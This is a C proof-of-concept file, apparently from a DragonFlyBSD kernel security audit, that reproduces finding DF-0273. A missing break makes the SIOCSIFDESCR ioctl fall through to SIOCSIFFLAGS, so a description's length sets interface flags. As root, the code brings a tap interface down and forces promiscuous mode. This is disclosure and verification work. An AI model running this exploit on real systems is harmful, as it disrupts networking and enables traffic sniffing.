DragonFlyBSD Kernel Audit
DF-0273 / descr_fallthrough.c
← back to finding ↓ download raw
/*
 * DF-0273 PoC: SIOCSIFDESCR missing break -> fallthrough to SIOCSIFFLAGS.
 *
 * sys/net/if.c case SIOCSIFDESCR (line 2100) ends at line 2132 with
 *   kfree(odescrbuf, M_IFDESCR);
 * and NO break before "case SIOCSIFFLAGS:" at line 2134.  The fall-through
 * reinterprets ifr_buffer.length (which aliases ifr_flags via the ifr_ifru
 * union, if.h:259-261) as the new interface flags.
 *
 * Demonstration (privileged ioctl, PR:H): create a tap iface, bring it UP,
 * then issue SIOCSIFDESCR with a description whose length==2.  Because
 * ifr_flags aliases the low 16 bits of ifr_buffer.length, new_flags==2
 * (IFF_BROADCAST) which clears IFF_UP -> interface goes DOWN.
 *
 * Build:  cc -o descr_fallthrough descr_fallthrough.c
 * Run:    ./descr_fallthrough            (as root)
 */
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

static void
print_flags(short f)
{
	printf("  flags=0x%x <%s%s%s%s%s%s%s%s>\n", (unsigned)f,
	    (f & IFF_UP) ? "UP," : "",
	    (f & IFF_BROADCAST) ? "BROADCAST," : "",
	    (f & IFF_DEBUG) ? "DEBUG," : "",
	    (f & IFF_LOOPBACK) ? "LOOPBACK," : "",
	    (f & IFF_RUNNING) ? "RUNNING," : "",
	    (f & IFF_PROMISC) ? "PROMISC," : "",
	    (f & IFF_MULTICAST) ? "MULTICAST," : "",
	    (f & IFF_PPROMISC) ? "PPROMISC," : "");
}

static short
get_flags(int s, const char *ifname)
{
	struct ifreq ifr;
	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
	if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) {
		perror("SIOCGIFFLAGS");
		return -1;
	}
	return ifr.ifr_flags;
}

int
main(void)
{
	int s;
	struct ifreq ifr;
	const char *ifname = "tap9";
	short before, after;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); return 2; }

	/* create a throw-away tap interface */
	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
	if (ioctl(s, SIOCIFCREATE, &ifr) < 0 && errno != EEXIST) {
		perror("SIOCIFCREATE (tap9)");
		/* fall back to lo0 which is safe to read but we won't bring down */
		ifname = "lo0";
	}
	strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));

	/* bring it UP */
	ifr.ifr_flags = IFF_UP | IFF_RUNNING;
	if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0)
		perror("SIOCSIFFLAGS UP (nonfatal)");

	before = get_flags(s, ifname);
	printf("[*] %s flags BEFORE SIOCSIFDESCR:\n", ifname);
	print_flags(before);

	/*
	 * Now issue SIOCSIFDESCR with description "a" (length 2 incl nul).
	 * ifconfig would do this for:  ifconfig <iface> description a
	 * Due to the missing break, this falls through to SIOCSIFFLAGS,
	 * reinterpreting length(==2) as flags -> IFF_UP cleared.
	 */
	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
	ifr.ifr_buffer.length = 2;		/* "a\0" */
	ifr.ifr_buffer.buffer = "a";
	if (ioctl(s, SIOCSIFDESCR, &ifr) < 0)
		perror("SIOCSIFDESCR");

	after = get_flags(s, ifname);
	printf("[*] %s flags AFTER SIOCSIFDESCR(len=2):\n", ifname);
	print_flags(after);

	if ((before & IFF_UP) && !(after & IFF_UP)) {
		printf("\n[!] DF-0273 REPRODUCED: IFF_UP cleared by setting a "
		       "description (fall-through SIOCSIFDESCR -> SIOCSIFFLAGS).\n");
		printf("[!] new_flags was driven by ifr_buffer.length==2 "
		       "(IFF_BROADCAST), bypassing the SIOCSIFFLAGS intent.\n");
	} else if (before == after) {
		printf("\n[-] flags unchanged; fall-through did not alter state "
		       "(may be fixed).\n");
	} else {
		printf("\n[!] flags CHANGED by SIOCSIFDESCR (before=0x%x "
		       "after=0x%x) -- fall-through confirmed.\n",
		       (unsigned)before, (unsigned)after);
	}

	/* demonstrate controlled flag setting: length==0x100 (256) -> IFF_PROMISC */
	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
	/* build a 256-byte description buffer */
	char big[256];
	memset(big, 'x', 255); big[255] = 0;
	ifr.ifr_buffer.length = 256;	/* aliases ifr_flags = 0x100 = IFF_PROMISC */
	ifr.ifr_buffer.buffer = big;
	if (ioctl(s, SIOCSIFDESCR, &ifr) < 0)
		perror("SIOCSIFDESCR big");
	short after2 = get_flags(s, ifname);
	printf("[*] %s flags AFTER SIOCSIFDESCR(len=256):\n", ifname);
	print_flags(after2);
	if (after2 & IFF_PROMISC)
		printf("[!] length==256 -> IFF_PROMISC set via description ioctl. "
		       "Attacker-controlled flag injection confirmed.\n");

	/* cleanup: destroy tap */
	if (strcmp(ifname, "tap9") == 0) {
		memset(&ifr, 0, sizeof(ifr));
		strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
		ioctl(s, SIOCIFDESTROY, &ifr);
	}
	close(s);
	return 0;
}